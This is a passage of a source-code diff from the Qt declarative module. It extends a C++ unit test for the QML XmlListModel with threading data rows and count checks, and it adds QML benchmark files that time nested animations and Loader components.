+ QCOMPARE(m2->data(i, m2->roles()[2]).toString(), QString("Athletics"));
+
+ QCOMPARE(m3->data(i, m3->roles()[0]).toString(), QString("C" + QString::number(i)));
+ QCOMPARE(m3->data(i, m3->roles()[1]).toString(), QString("3" + QString::number(i)));
+ QCOMPARE(m3->data(i, m3->roles()[2]).toString(), QString("Curling"));
+ }
+ }
+
+ delete m1;
+ delete m2;
+ delete m3;
+}
+
+void tst_qdeclarativexmllistmodel::threading_data()
+{
+ QTest::addColumn<int>("xmlDataCount");
+
+ QTest::newRow("1") << 1;
+ QTest::newRow("2") << 2;
+ QTest::newRow("10") << 10;
+}
+
void tst_qdeclarativexmllistmodel::propertyChanges()
{
QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml"));
@@ -554,6 +615,8 @@ void tst_qdeclarativexmllistmodel::propertyChanges()
QCOMPARE(model->query(), QString("/Pets"));
QCOMPARE(model->namespaceDeclarations(), QString("declare namespace media=\"http://search.yahoo.com/mrss/\";"));
+ QTRY_VERIFY(model->count() == 1);
+
QCOMPARE(sourceSpy.count(),1);
QCOMPARE(xmlSpy.count(),1);
QCOMPARE(modelQuerySpy.count(),1);
@@ -568,6 +631,9 @@ void tst_qdeclarativexmllistmodel::propertyChanges()
QCOMPARE(xmlSpy.count(),1);
QCOMPARE(modelQuerySpy.count(),1);
QCOMPARE(namespaceDeclarationsSpy.count(),1);
+
+ QTRY_VERIFY(model->count() == 1);
+ delete model;
}
QTEST_MAIN(tst_qdeclarativexmllistmodel)
diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml
new file mode 100644
index 0000000..978e3bf
--- /dev/null
+++ b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/large.qml
@@ -0,0 +1,41 @@
+import Qt 4.6
+import QDeclarativeTime 1.0 as QDeclarativeTime
+
+Item {
+
+ QDeclarativeTime.Timer {
+ component: Component {
+ ParallelAnimation {
+ NumberAnimation { duration: 500 }
+ NumberAnimation { duration: 4000; }
+ NumberAnimation { duration: 2000; easing.type: "OutBack"}
+ ColorAnimation { duration: 3000}
+ SequentialAnimation {
+ PauseAnimation { duration: 1000 }
+ ScriptAction { script: doSomething(); }
+ PauseAnimation { duration: 800 }
+ ScriptAction { script: doSomethingElse(); }
+ PauseAnimation { duration: 800 }
+ ParallelAnimation {
+ NumberAnimation { duration: 200;}
+ SequentialAnimation {
+ PauseAnimation { duration: 200}
+ ParallelAnimation {
+ NumberAnimation { duration: 300;}
+ NumberAnimation { duration: 300;}
+ }
+ NumberAnimation { from: 0; to: 1; duration: 500 }
+ PauseAnimation { duration: 200 }
+ NumberAnimation { from: 1; to: 0; duration: 500 }
+ }
+ SequentialAnimation {
+ PauseAnimation { duration: 150}
+ NumberAnimation { duration: 300; easing.type: "OutBounce" }
+ }
+ }
+ }
+ }
+ }
+ }
+
+}
diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml
new file mode 100644
index 0000000..cceb3f4
--- /dev/null
+++ b/tests/benchmarks/declarative/qdeclarativetime/tests/animation/largeNoProps.qml
@@ -0,0 +1,41 @@
+import Qt 4.6
+import QDeclarativeTime 1.0 as QDeclarativeTime
+
+Item {
+
+ QDeclarativeTime.Timer {
+ component: Component {
+ ParallelAnimation {
+ NumberAnimation { }
+ NumberAnimation { }
+ NumberAnimation { }
+ ColorAnimation { }
+ SequentialAnimation {
+ PauseAnimation { }
+ ScriptAction { }
+ PauseAnimation { }
+ ScriptAction { }
+ PauseAnimation { }
+ ParallelAnimation {
+ NumberAnimation { }
+ SequentialAnimation {
+ PauseAnimation { }
+ ParallelAnimation {
+ NumberAnimation { }
+ NumberAnimation { }
+ }
+ NumberAnimation { }
+ PauseAnimation { }
+ NumberAnimation { }
+ }
+ SequentialAnimation {
+ PauseAnimation { }
+ NumberAnimation { }
+ }
+ }
+ }
+ }
+ }
+ }
+
+}
diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml
new file mode 100644
index 0000000..6f8d849
--- /dev/null
+++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/Loaded.qml
@@ -0,0 +1,7 @@
+import Qt 4.6
+
+Item {
+ Rectangle {}
+ Text {}
+ Image {}
+}
diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml
new file mode 100644
index 0000000..270add4
--- /dev/null
+++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/component_loader.qml
@@ -0,0 +1,16 @@
+import Qt 4.6
+import QDeclarativeTime 1.0 as QDeclarativeTime
+
+Item {
+
+ QDeclarativeTime.Timer {
+ component: Component {
+ Item {
+ Loader {
+ sourceComponent: Loaded {}
+ }
+ }
+ }
+ }
+}
+
diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml
new file mode 100644
index 0000000..d3b84cc
--- /dev/null
+++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/empty_loader.qml
@@ -0,0 +1,15 @@
+import Qt 4.6
+import QDeclarativeTime 1.0 as QDeclarativeTime
+
+Item {
+
+ QDeclarativeTime.Timer {
+ component: Component {
+ Item {
+ Loader {}
+ Loaded {}
+ }
+ }
+ }
+}
+
diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml
new file mode 100644
index 0000000..a94a12a
--- /dev/null
+++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/no_loader.qml
@@ -0,0 +1,14 @@
+import Qt 4.6
+import QDeclarativeTime 1.0 as QDeclarativeTime
+
+Item {
+
+ QDeclarativeTime.Timer {
+ component: Component {
+ Item {
+ Loaded {}
+ }
+ }
+ }
+}
+
diff --git a/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml
new file mode 100644
index 0000000..39ed1a6
--- /dev/null
+++ b/tests/benchmarks/declarative/qdeclarativetime/tests/loader/source_loader.qml
@@ -0,0 +1,16 @@
+import Qt 4.6
+import QDeclarativeTime 1.0 as QDeclarativeTime
+
+Item {
+
+ QDeclarativeTime.Timer {
+ component: Component {
+ Item {
+ Loader {
+ source: "Loaded.qml"
+ }
+ }
+ }
+ }
+}
+